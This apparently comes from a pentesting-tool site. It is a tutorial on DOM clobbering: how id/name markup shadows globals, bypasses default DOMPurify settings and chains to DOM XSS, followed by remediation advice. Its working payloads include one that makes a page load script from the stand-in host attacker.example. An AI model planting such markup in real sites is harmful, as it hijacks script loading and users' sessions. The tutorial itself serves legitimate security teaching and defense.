DOM Clobbering: Breaking Sanitizers Without a Single Script (2026)
DOM clobbering is a script-less injection technique that turns ordinary, "safe" HTML into a weapon. The core idea is deceptively simple: when you give an element an id or name attribute, the browser exposes that element as a named property on the document object and on the global window. By choosing those names carefully, an attacker can overwrite existing global variables and object properties with references to DOM nodes — clobbering them — and steer application logic without ever executing JavaScript directly.
This matters precisely because it sails past defenses built for cross-site scripting. An HTML sanitizer that strips <script> tags, inline event handlers, and javascript: URLs will happily allow <a id="config"> or <form name="attributes"> through, because nothing about those elements looks dangerous in isolation. The danger only emerges when that markup collides with the page's own code. For pentesters working an authorized engagement, DOM clobbering is the technique that converts a "harmless" HTML injection finding into a high-impact DOM XSS or logic bypass.
How the Named Property Lookup Works
The behavior is mandated by the HTML standard, not a browser quirk. The Window and Document objects implement a named property getter: any element with a name attribute, and any element with an id, becomes accessible by that string. So markup the application never intended to be a variable suddenly resolves to a node:
<a id="x"></a>
<script>
// No `var x` anywhere — but this prints the anchor element
console.log(x); // <a id="x">
console.log(window.x); // same node
console.log(document.x); // same node (forms, images, embeds, etc.)
</script>
The classic trigger is the common idiom var config = window.config || {}. If the page injects attacker-controlled HTML before that line runs, an element named config makes window.config truthy, so the application uses the attacker's node instead of its safe default:
// Application code
var config = window.config || { debug: false };
if (config.debug) loadDebugger(config.endpoint);
// Injected HTML
<a id="config"><a id="config" name="debug" href="https://attacker.example">
id/name Abuse and Building Nested Objects
A single clobbered name only gives you a DOM node, which limits you to its built-in properties. The breakthrough technique — popularized by Gareth Heyes and the PortSwigger research team — is chaining id and name to fabricate nested property access like x.y.z. Two elements that share an id form an HTMLCollection, and you can index into that collection using a name attribute on a child:
// Goal: make config.url.value reachable
<form id="config"><input name="url" value="https://attacker.example"></form>
// config -> the <form>
// config.url -> the <input> (named form control)
// config.url.value -> "https://attacker.example" (attacker-controlled string!)
For three levels deep, combine collections with the name trick. This pattern reliably produces a controllable string at the leaf:
<a id="a"><a id="a" name="b" href="https://attacker.example/x">
<!-- a.b -> the second anchor; a.b + '' -> coerces to its href -->
Anchors are the workhorse element here: when an <a> with an href is coerced to a string (template concatenation, String(), + ''), it returns the resolved URL. That makes anchors ideal leaf nodes for delivering an attacker-controlled value into a sink. The <iframe> element is another favorite because its name-addressable contentWindow and the srcdoc/src attributes give additional reach.
Breaking HTML Sanitizers
Sanitizers exist to allow rich user content while blocking script execution. DOM clobbering attacks the gap between "no script runs" and "no global state changes." A well-configured DOMPurify, for example, removes scripts and event handlers but by default permits id and name attributes on common elements — exactly the primitives clobbering needs.
DOMPurify added SANITIZE_DOM and SANITIZE_NAMED_PROPS options specifically to address this, but they are opt-in and frequently left off. Test what your target actually strips:
// If the app uses DOMPurify with defaults, this survives sanitization:
DOMPurify.sanitize('<a id="x"><a id="x" name="y" href="z">');
// => markup intact, clobbering primitive preserved
// Hardened config that neutralizes most clobbering:
DOMPurify.sanitize(dirty, { SANITIZE_DOM: true, SANITIZE_NAMED_PROPS: true });
Many home-grown allowlist sanitizers and "safe HTML" subsets (markdown renderers, comment systems, email templating) never considered id/name as dangerous because no XSS payload uses them. When you find an HTML-injection sink that strips scripts, do not stop testing — probe whether id and name survive. Use a controlled lab such as the XSS Payload Generator to compare what variants a given filter allows through before chaining them into a clobbering gadget.
Gadget Chains to DOM XSS
A gadget is a place where the application reads a property from a global or an object without owning it and feeds the result into a dangerous sink. DOM clobbering supplies the value; the gadget delivers it to the sink. The most impactful sinks are script-loading and HTML-writing operations:
- Script source injection: code that does
s.src = window.globalConfig.cdn + '/app.js'. ClobberglobalConfig.cdnto point a new<script>at attacker-controlled origin. - innerHTML / document.write: a default value like
window.defaultAvatarrendered into HTML. Clobber it to inject further markup. - Configuration-driven redirects:
location = window.settings.redirectUrlbecomes an open redirect orjavascript:navigation in older engines. - Framework internals: bootstrap globals (e.g. legacy AngularJS, jQuery plugins reading
window.opts) that initialize fromwindow.*are rich gadget territory.
A real-world style chain: an analytics loader reads its endpoint from a global default, then appends a script tag.
// Vulnerable loader
var s = document.createElement('script');
s.src = (window.cdnConfig && window.cdnConfig.host || 'https://cdn.example') + '/sdk.js';
document.head.appendChild(s);
// Clobbering payload injected via a "safe HTML" comment field
<a id="cdnConfig"><a id="cdnConfig" name="host" href="https:https://attacker.example">
// Result: script loads from attacker.example/sdk.js -> full DOM XSS
The historically significant proof point is the Gmail AMP4Email bypass, where DOM clobbering defeated a hardened, script-stripping allowlist sanitizer — demonstrating that even mature, security-reviewed sanitizers fall to this class. The same pattern recurs in markdown-based comment systems, CMS templates, and any "render user HTML safely" feature.
Real-World Impact and Where to Hunt
DOM clobbering thrives wherever user-supplied HTML reaches the DOM in the same document as application JavaScript. High-yield targets on an authorized assessment include rich-text comments and reviews, support-ticket bodies rendered to staff, HTML email previews, wiki/markdown pages, and any feature advertising "safe HTML" formatting. The impact ranges from logic bypass (flipping a feature flag, defeating a client-side access check) to full DOM XSS when a script-loading gadget is present.
A practical hunting workflow on an in-scope target:
- Map the globals. Read the page's JavaScript for
window.X || default,document.X, and object-default idioms. Each is a candidate clobbering target. - Identify allowed attributes. Submit benign markup and inspect the rendered DOM. Confirm whether
idandnamesurvive sanitization. - Build the primitive. Use the two-element collection trick to reach the exact property path the gadget expects, ending in an anchor or input that supplies your string.
- Verify the sink. Confirm your clobbered value flows into
script.src,innerHTML,location, or similar.
Defenses and Remediation
Fixing DOM clobbering requires defenses at multiple layers, because no single control is sufficient:
- Strip or namespace id/name in sanitization. Enable DOMPurify's
SANITIZE_NAMED_PROPS(prefixes named props to break clobbering) andSANITIZE_DOM, or removeid/nameattributes entirely from user HTML when they are not needed. - Never trust a global default. Replace
var x = window.x || {}with module-scoped constants, closures, orconstbindings that DOM nodes cannot shadow. Reference configuration through imports, not global lookups. - Validate types at the sink. Before assigning to
script.srcorlocation, assert the value is a string of the expected shape (an allowlisted origin), not an object or coerced node. - Adopt Trusted Types. Enforcing
require-trusted-types-for 'script'via CSP forces dangerous sinks to receive validated, typed values, neutralizing many clobbering-to-XSS chains. Audit your policy with the CSP Evaluator to confirm Trusted Types and script-src restrictions are actually in force. - Defense in depth with CSP. A strict
script-src(nonces or hashes, no'unsafe-inline', no broad host allowlists) limits the blast radius when a script-loading gadget is clobbered. - Render in isolation. Where feasible, render untrusted HTML inside a sandboxed iframe on a separate origin so its named properties cannot reach the main document's globals.
DOM clobbering is best understood as a sibling of prototype pollution: both inject state that the application later reads as if it were its own, and both reward the same discipline — never read security-relevant values from ambient, attacker-influenceable namespaces. Treat any "we sanitize the HTML" assurance as an invitation to test id and name survival, and treat every window.* default as a gadget waiting for a node to clobber it. Always confirm you have authorization and scope before testing these techniques against any system.
Put this into practice
Generate and test these payloads interactively — free, in your browser.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides